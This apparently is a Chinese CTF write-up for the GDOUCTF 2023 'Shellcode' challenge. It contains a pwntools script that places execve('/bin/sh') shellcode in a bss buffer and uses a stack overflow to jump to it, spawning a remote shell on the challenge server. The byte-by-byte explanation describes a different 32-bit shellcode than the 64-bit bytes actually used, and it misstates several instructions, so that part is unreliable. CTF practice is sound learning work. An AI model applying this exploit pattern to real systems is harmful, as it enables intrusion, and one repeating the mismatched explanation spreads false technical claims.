[GDOUCTF 2023]Shellcode

第一次作shellcode的题

file 64位

checksec

有两个read函数

看一下name

发现在bss段,可执行片段

from pwn import *
p = remote("node4.anna.nssctf.cn",28710)
name_addr= 0x6010a0
shellcode="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
Payload = b'a'*(0xa+8)+p64(name_addr)
#向name里面输入shellcode,然后通过栈溢出返回name执行shellcode
#需要注意的是shellcode的大小必须在0x25以内。可以自己手打,可以在shell-storm找,也可以问chatgpt
p.sendlineafter("Please.",shellcode)
p.sendlineafter("start!",Payload)
p.interactive()

shellcode是一个经典的 Linux/x86 的 32 位短字节 Shellcode,用于执行一个系统调用。它的功能是执行一个 execve("/bin/sh", NULL, NULL) 系统调用,以获取一个 shell。

下面是每个字节的含义和作用:

\x6a\x0b :将 0x0b(11)压入栈中,该值是 execve 系统调用号

\x58 :将栈顶元素弹出到 EAX 寄存器中,即将系统调用号加载到 EAX

\x99 :将 EDX 设置为用户态,用于标识字符串的终止符号

\x52 :将 EAX 压入栈中,保存起来

\x68\x2f\x2f\x73\x68 :将字符串 "//sh" 压入栈中,即要执行的程序的路径

\x68\x2f\x62\x69\x6e :将字符串 "/bin" 压入栈中,即要执行的程序所在的目录

\x89\xe3 :将 ESP(栈指针)的值保存到 EBX 中,以备后续使用

\x31\xc9 :将 ECX 设置为零,用于 execve 系统调用的参数

\xcd\x80 :触发系统调用,执行 execve("/bin/sh", NULL, NULL)

这段代码的目的是在内存中放置一个字符串 "/bin/sh",然后调用 execve 系统调用以执行该路径下的 shell 程序。

  • 8
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值